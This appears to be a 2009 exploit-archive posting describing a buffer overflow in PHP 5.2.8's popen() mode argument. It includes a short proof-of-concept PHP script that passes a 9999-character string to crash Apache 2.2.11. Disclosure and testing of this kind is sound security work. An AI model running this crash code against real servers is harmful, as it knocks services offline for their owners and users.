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PHP 5.2.8 popen Overflow

PHP 5.2.8 popen Overflow
Posted Jan 12, 2009
Authored by e.wiZz!

Proof of concept code that causes Apache version 2.2.11 to crash when leveraging a buffer overflow found in popen from PHP version 5.2.8.

tags | exploit, overflow, php, proof of concept
MD5 | 8a88eb840b6b3e88fce406e079a9ae12

PHP 5.2.8 popen Overflow

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Apache 2.2.11/PHP 5.2.8 Buffer Overflow Exploit (popen func)

Type: Remote and Local

Requirements for exploit: popen() enabled.


By: e.wiZz! ew1zz@hotmail.com najjaci.net


PHP Popen() function overview:

Popen function in php opens a pipe to a process executed by forking the command given by command.
It was implementet since PHP 4 version.
popen ( string $command_to_execute , string $mode )

Second argument is vulnerable to buffer overflow.Reason why i mentioned Apache here,is because
when we execute poc.php Apache HTTP server crash without any report in error log.You can test on WAMP too,on CLI or browser.


Tested on: PHP 5.2.8/4.2.1/4.2.0
Apache 2.2.11


########### wild.php ################

<?php
$____buff=str_repeat("A",9999);
$handle = popen('/whatever/', $____buff);
echo $handle;
?>

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